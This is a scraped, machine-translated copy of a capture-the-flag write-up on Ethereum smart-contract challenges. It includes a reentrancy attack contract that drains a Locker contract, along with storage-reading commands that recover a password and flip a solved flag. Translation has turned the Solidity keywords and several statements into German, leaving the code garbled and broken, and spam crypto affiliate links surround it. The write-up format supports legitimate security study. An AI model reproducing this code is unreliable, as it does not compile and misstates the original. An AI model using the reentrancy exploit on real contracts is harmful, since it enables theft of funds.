Chain Heist Writeup – Peter Kacherginsky

Free Bitcoins: FreeBitcoin | BonusBitcoin

Coins Kaufen: Bitcoin.deAnycoinDirektCoinbaseCoinMama (mit Kreditkarte)Paxfull

Handelsplätze / Börsen: Bitcoin.de | KuCoinBinanceBitMexBitpandaeToro

Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining


Account entsperren (einfach)

Pragma Solidität ^ 0,5,0;Vertrag AccountUnlock {        string public password = “[REDACTED]”;        function verify (string memory _password) public view gibt zurück (bool) {
require (keccak256 (abi.encode (password)) == keccak256 (abi.encode (_password)));
return true;
}
}
$ myth read-storage - rpc infura-ropsten 0 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0
0: 0x5374726f6e6750617373776f7264313233000000000000000000000000000022

Bankschließfach (mittel)

Pragma Solidität ^ 0,5,0;import "../zeppelin/SafeMath.sol";Vertrag Locker {        Verwenden von SafeMath für uint256;
Zuordnung (Adresse => uint256) Privatguthaben;
Zuordnung (Adresse => Bool) Private AccountBook;
Modifikator checkPoint () {
erfordern (accountBook[msg.sender], "Sie müssen einen Account bei uns haben");
_;
}
Modifikator existiert bereits () {
erfordern (! accountBook[msg.sender], "Sie sind bereits Kontoinhaber");
_;
}
Funktion createAcc () public alreadyExists () {
Geschäftsbuch[msg.sender]= wahr;
}
Funktion deposit () interner checkPoint () {
require (msg.value> 0, "Bitte senden Sie etwas Geld");
Balance[msg.sender] = Gleichgewicht[msg.sender].add (msg.value);
}
Funktion checkBalanceUser () public view checkPoint () returns (uint256) {
Guthaben zurückzahlen[msg.sender];
}
Funktion withDraw (uint256 _amount) public checkPoint () {
benötigen[msg.sender]> 0, "Sie haben kein Guthaben");
Balance[msg.sender] = Gleichgewicht[msg.sender](Betrag);
address (msg.sender) .call.value (_amount) ("");
}
Funktion closeAccount () public checkPoint () {
benötigen[msg.sender]> 0, "Sie haben kein Guthaben");
Adresse (msg.sender) .call.value (balance[msg.sender]) ("");
Geschäftsbuch[msg.sender] = falsch;
Balance[msg.sender]= 0;
}
Funktion checkBalance () öffentliche Renditen anzeigen (uint256) {
Rücksendeadresse (diese) .balance;
}
Funktion () zahlbar extern {
Anzahlung();
}
}
Vertrag Wiedereintritt {
zahlbare Adresse public addr = 0xb947F6Bd0FB99219ddf1FEa82281125396f12634;
Schließfach öffentliches Schließfach;

Konstruktor () öffentlich zahlbar {
Schließfach = Schließfach (Adr);
}

Funktion attack () public {
locker.createAcc ();
addr.call.value (address (this) .balance) ("");
locker.closeAccount (); // Exploit auslösen
}

function () external payable {
if (Adresse (Schließfach) .balance! = 0) {
locker.closeAccount (); // erneut eingeben
}
}
}

Pragma Solidität ^ 0,5,0;Vertrag ReverseEng {
Bool public gelöst = falsch;
function () external payable {
// [REDACTED]
gelöst = wahr;
}
}
bool gelöst;Funktion 799320bb () public view {
return (gelöst);
}
function () public payable {
require ((msg.value == 2a));
gelöst = wahr;
Rückkehr;
}
Pragma Solidität ^ 0,4,24;Vertrag VehicleRegister {
bool public registrationAllowed = false;
struct Record {
uint256 serialNumber;
string Ownername;
bytes32 registrationTag;
}
struct UniqueTag {
bytes32 registrationTag;
string licenseNumber;
}
Zuordnung (uint256 => bytes32) private registrationTagRecord;
Zuordnung (bytes32 => bool) private registrationTagRecordExists;
Zuordnung (bytes32 => UniqueTag) private uniqueIDRecord;
function registerVehicle (uint256 _serialNumber, string _Ownername) public {
erfordern (registrationAllowed, "Entschuldigung, Registrierung ist geschlossen");
Aufzeichnen aufzeichnen;
record.Ownername = _Ownername;
record.serialNumber = _serialNumber;
record.registrationTag = keccak256 (abi.encode (_serialNumber, _Ownername));
registrationTagRecord[_serialNumber]= record.registrationTag;
registrationTagRecordExists[record.registrationTag] = wahr;
}
Funktion getRegistrationTag (uint256 _serialNumber) public view return (bytes32) { erfordern (registrationTagRecordExists[registrationTagRecord[registrationTagRecord[_serialNumber]]);
return registrationTagRecord[_serialNumber];
}
function getUniqueID (bytes32 _registrationTag, string _licenseNumber) public return (bytes32) {
UniqueTag-Instanz;
instance.registrationTag = _registrationTag;
instance.licenseNumber = _licenseNumber;
if (! registrationTagRecordExists[_registrationTag]) {
return keccak256 (abi.encode ("0000"));
}
bytes32 _uniqueID = keccak256 (abi.encode (_registrationTag, _licenseNumber));
uniqueIDRecord[_uniqueID]= Instanz;
return _uniqueID;
}
Funktion registrationTagVerify (bytes32 _registrationTag) public view returns (bool) {
return registrationTagRecordExists[_registrationTag];
}
}
function getUniqueID (bytes32 _registrationTag, string _licenseNumber) public return (bytes32) {
UniqueTag-Instanz; // Fehlendes Schlüsselwort "memory"
instance.registrationTag = _registrationTag; // Speicher 0
instance.licenseNumber = _licenseNumber; // Speicher 1
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000000
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000001



Free Bitcoins: FreeBitcoin | BonusBitcoin

Coins Kaufen: Bitcoin.deAnycoinDirektCoinbaseCoinMama (mit Kreditkarte)Paxfull

Handelsplätze / Börsen: Bitcoin.de | KuCoinBinanceBitMexBitpandaeToro

Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close